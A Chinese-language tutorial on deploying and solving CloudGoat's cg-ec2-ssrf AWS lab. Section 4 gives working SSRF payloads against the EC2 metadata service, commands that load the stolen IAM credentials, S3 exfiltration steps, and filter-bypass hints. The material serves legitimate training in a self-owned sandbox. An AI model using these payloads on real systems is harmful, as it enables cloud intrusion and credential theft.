1. 项目概述:为什么你需要CloudGoat?
如果你正在学习云安全或者AWS渗透测试,我猜你肯定遇到过这样的困境:理论知识学了一大堆,但一上手实操就懵了。在真实的AWS环境里,你不敢乱动,怕一不小心删库跑路或者产生天价账单;自己搭建一个模拟环境吧,又费时费力,从配置IAM角色、设置VPC网络到部署有漏洞的应用,一套流程下来,半天时间就没了,而且还不一定能把所有经典漏洞场景都覆盖到。
CloudGoat就是为解决这个痛点而生的。它不是一个复杂的平台,而是一个用Terraform和Python编写的“漏洞场景生成器”。你可以把它理解为一个专门为AWS设计的“靶场剧本”。你只需要一条命令,它就能在你自己可控的AWS账户里,快速部署一个预设好的、包含多种安全漏洞的完整环境。这个环境里可能有配置错误的S3存储桶、权限过宽的IAM角色、暴露在公网的管理端口,或者是存在SQL注入的Web应用。你的任务,就是像一名真正的攻击者(或红队成员)一样,利用这些漏洞,一步步达成预设的目标,比如获取特定机密信息或提升权限。
我之所以推荐它,是因为它完美地平衡了“真实性”和“安全性”。环境部署在你自己的AWS账户,用的是真实的AWS服务,攻击路径和手法与真实世界无异。同时,所有资源都被清晰地标记和隔离,任务完成后一键销毁,成本可控,完全不用担心“玩脱了”。对于想从零开始实践云渗透的新手,或者想系统化训练团队的安全工程师来说,CloudGoat是当前最实用、最高效的入门工具,没有之一。
2. 环境准备与核心工具解析
在真正开始“5分钟部署”之前,我们需要把准备工作做扎实。磨刀不误砍柴工,这一步确保了后续流程的顺畅和安全。
2.1 基础账户与权限配置
首先,你需要一个AWS账户。强烈建议你为此专门创建一个新的AWS账户,而不是使用你日常工作或已有重要项目的账户。AWS提供免费套餐,新账户注册后12个月内有许多免费额度,足够我们进行大量的CloudGoat实验。这样做的好处是绝对的资源隔离和成本控制,即使脚本有误或你在实验过程中操作失误,也不会影响到其他业务。
账户创建好后,我们进入最关键的一步:配置访问权限。你需要在IAM(身份和访问管理)服务中,创建一个专门用于CloudGoat和命令行操作的用户。
- 创建IAM用户:在IAM控制台,点击“用户”->“创建用户”。用户名可以设为
cloudgoat-admin(仅示例)。在“选择AWS访问类型”中,务必勾选“编程访问”,这将生成访问密钥ID和私有访问密钥,这是我们后续使用AWS CLI所必需的。暂时不要附加任何权限,直接点击“下一步”直到创建完成。 - 生成并保存密钥:创建成功后,系统会显示访问密钥ID和私有访问密钥。这是唯一一次你能看到私有访问密钥的机会,请立即点击“下载.csv”文件并妥善保存。如果丢失,只能重新创建。
- 附加管理员权限:返回用户列表,找到刚创建的
cloudgoat-admin用户。在“权限”标签页,点击“添加权限”。选择“直接附加现有策略”,然后搜索并选择AdministratorAccess策略并附加。是的,CloudGoat的部署脚本需要非常高的权限来创建和销毁各种资源。这就是为什么我们必须使用独立实验账户的原因。
注意:在生产环境中,遵循最小权限原则是铁律。但在这里,为了方便实验和避免因权限不足导致的部署失败,我们直接使用管理员权限。请务必理解这仅适用于这个完全隔离的实验沙盒。
2.2 本地环境与工具安装
接下来,我们在本地操作机上安装必要的工具。以macOS/Linux系统为例,Windows用户建议使用WSL2以获得接近的体验。
安装AWS CLI:这是与AWS服务交互的核心命令行工具。访问AWS官方文档,根据你的操作系统选择安装方式。安装完成后,在终端运行
aws configure,它会提示你输入刚才保存的访问密钥ID、私有访问密钥、默认区域(例如us-east-1)和输出格式(例如json)。配置信息会保存在~/.aws/credentials文件中。$ aws configure AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY Default region name [None]: us-east-1 Default output format [None]: json配置完成后,可以运行
aws sts get-caller-identity来验证配置是否成功,该命令会返回当前调用者的ARN信息。安装Terraform:CloudGoat使用Terraform作为基础设施即代码(IaC)工具,来自动化资源的创建和销毁。前往Terraform官网下载对应系统的二进制包,解压后将其路径加入系统的PATH环境变量。验证安装:
terraform version。安装Git和Python3:这两个工具通常系统已自带或易于安装。Git用于克隆代码库,Python3则是运行一些辅助脚本所必需的。确保
git --version和python3 --version能正确返回版本信息。
2.3 获取CloudGoat代码
工具就绪后,我们获取CloudGoat的“剧本”。打开终端,选择一个合适的工作目录,执行克隆命令:
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git cd cloudgoat进入目录后,你会看到一系列以“cg-”开头的文件夹,如cg-ec2-ssrf,cg-lambda-s3-rce等,每一个文件夹都代表一个独立的渗透测试场景。主目录下还有一些全局的配置和脚本文件。至此,你的“武器库”和“舞台”都已经准备好了。
3. 核心场景部署实战:以“cg-ec2-ssrf”为例
CloudGoat包含了多个场景,每个场景聚焦于一种或一类特定的云安全漏洞。为了让你快速感受整个流程,我们选择其中一个经典且具有代表性的场景cg-ec2-ssrf作为入门示例。这个场景模拟了一个非常常见的漏洞组合:一个对外提供服务的Web应用(部署在EC2上)存在服务器端请求伪造(SSRF)漏洞,攻击者可以利用该漏洞访问实例元数据服务(IMDS),从而窃取临时安全凭证,并进一步利用过宽的IAM角色权限横向移动。
3.1 场景初始化与配置
首先,进入目标场景的目录:
cd cloudgoat/cg-ec2-ssrf在每个场景目录下,都有一个terraform文件夹,里面存放着定义所有AWS资源的Terraform配置文件(.tf文件)。在部署前,我们需要进行初始化,让Terraform下载必要的提供商插件(这里是AWS提供商):
cd terraform terraform init这个命令会初始化Terraform工作目录,下载aws提供商插件。你会看到 “Terraform has been successfully initialized!” 的提示。
接下来,在部署之前,我强烈建议你先查看一下这个场景将要创建哪些资源。运行:
terraform planterraform plan命令会执行一个“预演”,在不实际创建任何资源的情况下,展示Terraform将要执行的操作。你会看到一个详细的列表,包括计划创建、修改或销毁的资源。对于新手,花两分钟阅读这个输出非常有价值:
- 了解架构:你可以看到即将创建的VPC、子网、安全组、EC2实例、IAM角色等。
- 预估成本:虽然CloudGoat资源大多在免费 tier 内,但了解资源构成是很好的习惯。
- 安全检查:确认没有计划创建你预期之外的危险资源(如开放所有端口的安全组)。
3.2 一键部署与资源创建
确认plan的输出符合预期后,就可以正式部署了。运行:
terraform applyTerraform会再次显示执行计划并提示你确认。输入yes并回车。接下来,就是见证自动化的时刻。Terraform会开始调用AWS API,按顺序创建所有资源。这个过程通常需要2到4分钟,具体时间取决于AWS服务的创建速度(如EC2实例启动)。
在输出信息的最后,你会看到类似这样的关键信息:
Apply complete! Resources: 12 added, 0 changed, 0 destroyed. Outputs: ec2_public_ip = "54.210.63.202" scenario_starting_url = "http://54.210.63.202"请务必记下这个ec2_public_ip或scenario_starting_url,这就是靶场环境的入口。Terraform的输出变量是每个场景自定义的,它直接给出了你开始渗透测试的起点。
实操心得:在
apply过程中,如果遇到错误(例如权限不足、区域服务不可用、资源配额限制),Terraform会明确报错。常见的解决步骤是:1) 检查AWS CLI的凭证和区域配置;2) 确认IAM用户确实附加了管理员策略;3) 前往AWS控制台对应服务的“配额”页面,查看是否达到了资源数量上限(如VPC数量、EC2实例数量),必要时申请提高配额。
3.3 渗透测试目标解析
现在,一个包含漏洞的AWS环境已经运行起来了。在开始攻击之前,我们得先明确“任务目标”。CloudGoat的每个场景都有一个明确的目标。对于cg-ec2-ssrf,其目标通常是:获取存储在场景中某个S3存储桶里的“flag”文件。
这个目标不是直接给出的,需要你像解谜一样去发现。场景的设计者Rhino Security Labs在README或场景描述中会给出指引。你可以查看cg-ec2-ssrf目录下的README.md文件,或者回到项目根目录查看总览。但作为实战练习,我建议你先不看答案,尝试自己探索。
那么,我们现在有一个Web应用(http://[ec2_public_ip]),我们的思路很清晰:
- 访问这个Web应用,寻找其功能和输入点。
- 发现并利用SSRF漏洞。
- 通过SSRF访问EC2实例的元数据服务(IMDSv1或IMDSv2)。
- 从元数据中获取该EC2实例所附加的IAM角色的临时安全凭证。
- 使用这些凭证,通过AWS CLI或SDK,列出并访问该角色有权访问的S3存储桶。
- 找到并读取存储桶中的flag文件。
这个流程模拟了一个非常真实的攻击链:外部应用漏洞 -> 获取云平台内部凭证 -> 横向移动至其他云服务。接下来,我们就一步步实现它。
4. 漏洞利用与攻击路径深度剖析
让我们化身攻击者,开始实际操作。请将下文中的IP地址替换为你terraform apply输出的实际IP。
4.1 信息收集与漏洞发现
首先,在浏览器中访问http://你的EC2公网IP。你会看到一个简单的Web页面,可能是一个图片查看器、文件处理器或者URL预览工具。它的功能往往是接受一个URL参数,然后服务器会去访问这个URL并返回内容。这就是SSRF漏洞的典型特征。
例如,页面可能有一个输入框,让你输入一个图片URL来预览。作为测试,我们可以先尝试让它访问一个我们控制的服务器,或者访问一个公认存在的公共地址来观察行为。更直接的方法是,尝试访问AWS元数据服务的经典端点。
AWS EC2实例元数据服务提供了一个特殊的内部IP地址169.254.169.254。我们可以尝试构造这样的请求:
http://目标IP/?url=http://169.254.169.254/latest/meta-data/将上述URL输入到Web应用的参数中并提交。如果应用存在SSRF漏洞且没有对目标地址进行过滤,它就会代表EC2实例去访问这个内部地址,并将元数据服务的响应内容返回给我们。
4.2 利用SSRF窃取IAM角色凭证
如果上一步成功,你会看到元数据服务返回的一个目录列表,可能包含iam/,security-credentials/等路径。这是我们攻击的关键一步。
继续探索这个“目录”:
- 访问
http://目标IP/?url=http://169.254.169.254/latest/meta-data/iam/ - 可能会看到
security-credentials/的链接。 - 访问
http://目标IP/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ - 这里会列出当前实例附加的IAM角色名称(例如,
cloudgoat-ec2-ssrf-role)。 - 最后,访问该角色对应的路径,如
http://目标IP/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cloudgoat-ec2-ssrf-role。
这最后一步的响应,将会是一个JSON格式的数据,其中包含了我们梦寐以求的临时安全凭证:
{ "Code": "Success", "LastUpdated": "2023-10-27T12:00:00Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIAxxxxxxxxxxxx", "SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "Token": "非常长的一串会话Token...", "Expiration": "2023-10-27T18:00:00Z" }请完整保存这个JSON响应。这里的AccessKeyId,SecretAccessKey, 和Token共同构成了一个有效的、具有特定权限的AWS访问凭证,其权限等同于附加给该EC2实例的IAM角色。
注意事项:AWS现在默认启用IMDSv2,它使用会话令牌来加强安全性。CloudGoat的某些场景可能配置为IMDSv1(便于演示),但真实环境中IMDSv2越来越普遍。如果遇到IMDSv2,利用SSRF获取凭证的步骤会稍微复杂一点,需要先发起一个PUT请求获取令牌,然后再用令牌去GET凭证。这体现了CloudGoat的价值——它促使你去学习和适应不同的安全机制。
4.3 凭证利用与横向移动
现在,我们拿到了“门禁卡”。在本地终端中,我们可以配置一个新的AWS CLI Profile来使用这些凭证。
# 将凭证配置到一个新的profile中,避免覆盖默认配置 aws configure set profile.cloudgoat-hacked.aws_access_key_id ASIAxxxxxxxxxxxx aws configure set profile.cloudgoat-hacked.aws_secret_access_key xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx aws configure set profile.cloudgoat-hacked.aws_session_token "非常长的一串会话Token..." aws configure set profile.cloudgoat-hacked.region us-east-1配置完成后,使用这个profile来执行命令,身份就是那个被窃取了凭证的IAM角色。首先,我们可以看看这个角色有哪些权限,一个简单的方法是尝试列出S3存储桶:
aws s3 ls --profile cloudgoat-hacked如果命令成功执行并返回了一个或多个存储桶列表(很可能包含cloudgoat-前缀的桶),那么恭喜,你已成功实现了横向移动!这个角色的权限允许它访问S3服务。
接下来,探索这个存储桶:
# 列出存储桶内所有对象 aws s3 ls s3://目标存储桶名称 --profile cloudgoat-hacked # 如果发现有类似flag.txt的文件,直接下载到本地 aws s3 cp s3://目标存储桶名称/flag.txt ./flag.txt --profile cloudgoat-hacked # 查看flag内容 cat flag.txt当你看到flag文件的内容(可能是一串哈希值或一句祝贺语)时,就意味着你已经成功完成了这个场景的渗透测试目标。你从一个外部Web应用的SSRF漏洞入手,逐步深入,最终控制了云平台内部的资源。
5. 环境清理与成本控制
实验完成后,及时清理资源是使用CloudGoat必须养成的习惯,这不仅是为了控制成本(虽然大部分在免费层),更是良好的云资源管理实践。
清理工作极其简单,回到你部署时所在的Terraform目录(cloudgoat/cg-ec2-ssrf/terraform),运行:
terraform destroyTerraform会列出所有它创建的资源,并请求确认。输入yes后,它会按照依赖关系的反向顺序,自动删除所有资源,包括EC2实例、安全组、IAM角色、S3存储桶等。整个过程大约需要1-2分钟。当看到Destroy complete!的提示时,就意味着所有资源都已删除,不会产生任何后续费用。
核心技巧:养成“随用随建,用完即毁”的习惯。不要将CloudGoat环境长时间挂起。即使你中途想暂停,也建议先
destroy,下次需要时再apply。Terraform的状态文件(terraform.tfstate)会记录资源信息,所以重建的环境和之前一模一样。这是基础设施即代码的巨大优势。
6. 常见问题与排查技巧实录
在实际操作中,你可能会遇到一些绊脚石。下面是我和学员们经常遇到的一些问题及解决方法。
| 问题现象 | 可能原因 | 排查与解决步骤 |
|---|---|---|
terraform apply失败,报权限错误 (e.g.,UnauthorizedOperation) | 1. IAM用户权限不足。 2. AWS CLI 配置的密钥错误或过期。 3. 区域(Region)不匹配。 | 1. 登录AWS控制台,确认IAM用户已附加AdministratorAccess策略。2. 运行 aws sts get-caller-identity --profile default确认当前CLI凭证对应的身份是否正确。3. 检查 terraform目录下的.tf文件或variables.tf,确认指定的AWS区域与你aws configure设置的默认区域一致。 |
| 部署成功,但无法通过浏览器访问EC2公网IP。 | 1. 安全组(Security Group)规则未正确放行80/443端口。 2. EC2实例上的Web服务(如Apache/Nginx)未成功启动。 3. 实例处于非运行状态。 | 1. 去AWS控制台EC2面板,检查该实例的安全组入站规则,确保有允许0.0.0.0/0访问80端口的规则。2. 通过EC2的“连接”功能,使用SSH或会话管理器登录实例,检查Web服务进程 sudo systemctl status httpd(或nginx)。3. 检查实例状态是否为“running”。 |
利用SSRF访问169.254.169.254时被拒绝或超时。 | 1. 应用本身对输入进行了过滤或校验。 2. 实例配置了IMDSv2且需要令牌,而你的SSRF Payload只适用于IMDSv1。 3. 实例元数据服务被禁用(CloudGoat场景通常不会)。 | 1. 尝试不同的SSRF绕过技巧,如使用不同格式的IP(十进制、八进制)、利用重定向、使用DNS别名等。 2. 研究IMDSv2的交互流程,构造先PUT获取令牌,再GET获取凭证的连环请求。这可能需要你编写一个小脚本,通过SSRF漏洞点来发送多段请求。 |
获取凭证后,执行aws s3 ls提示拒绝访问 (Access Denied)。 | 1. 凭证已过期(临时凭证通常有效期几小时)。 2. 窃取到的IAM角色本身就没有S3的ListBucket权限。 3. 存储桶策略(Bucket Policy)或IAM策略显式拒绝。 | 1. 检查凭证JSON中的Expiration字段,如果过期,需要重新通过SSRF获取一套新的。2. 尝试其他操作,如 aws sts get-caller-identity先确认身份,再用aws iam list-attached-role-policies查看角色具体权限(需对应IAM权限)。3. 这可能正是场景设计的一部分,提示你需要寻找其他攻击路径或权限提升方法。 |
terraform destroy失败,提示某些资源删除失败。 | 1. 有依赖资源未先删除(如S3桶非空)。 2. 手动在控制台修改或删除了部分资源,导致状态文件不一致。 | 1. 对于S3桶非空,先手动清空桶:aws s3 rm s3://bucket-name --recursive,再重新destroy。2. 这是最麻烦的情况。可以尝试 terraform destroy -target=资源类型.资源名来逐个删除,或者直接terraform state rm 资源地址从状态文件中移除,然后去控制台手动清理。因此,强烈建议不要手动操作Terraform创建的资源。 |
7. 从入门到精通:后续学习路径建议
成功完成第一个场景只是起点。CloudGoat的真正价值在于其丰富的场景库,每个场景都针对云环境中一个特定的安全弱点。
- 按难度进阶:不要急于挑战最复杂的场景。建议按照项目Wiki或README中建议的难度顺序进行。从
cg-ec2-ssrf,cg-lfi-s3这类相对直接的开始,逐步过渡到cg-ctf这种综合性的夺旗场景。 - 场景交叉学习:很多云安全漏洞是相互关联的。例如,学习了S3存储桶错误配置(
cg-s3-misconfig)后,再学习cg-lfi-s3(利用本地文件包含读取EC2上的凭证文件去访问S3),你会对“凭证泄露->资源访问”这条链有更深的理解。 - 结合官方文档:在利用漏洞时,遇到不熟悉的AWS服务(如AWS Lambda, KMS, Secrets Manager),立即去查阅AWS官方安全文档。了解服务的正常安全配置是什么,才能更好地理解错误配置在哪里。Rhino Security Labs的博客也对每个场景有深度分析,值得一读。
- 工具链整合:在基础命令行操作熟练后,可以尝试将渗透过程工具化。例如,使用
curl或Burp Suite自动化SSRF探测,使用Pacu、ScoutSuite等云渗透测试框架来利用获取的凭证进行自动化的权限枚举和漏洞扫描。 - 尝试防御视角:在完成攻击后,反过来思考:作为云安全工程师,如何防御这些攻击?如何通过配置S3桶策略、IAM策略、安全组、GuardDuty、Security Hub等服务和最佳实践来检测和阻断这类攻击链?这能让你对云安全形成闭环理解。
CloudGoat就像一套精心设计的云安全乐高套装,每个场景都是一个模块。通过亲手搭建(部署)和拆解(攻击与防御),你能在最短的时间内,建立起对AWS安全核心概念的肌肉记忆。记住,关键不在于快速通关所有场景,而是在每个场景中,彻底弄清楚“漏洞为什么会产生”、“攻击链是如何串起来的”以及“从根本上该如何预防”。当你能够不依赖指引,独立设计出针对某个场景的防御方案时,你的云安全实战能力就已经上了一个坚实的台阶。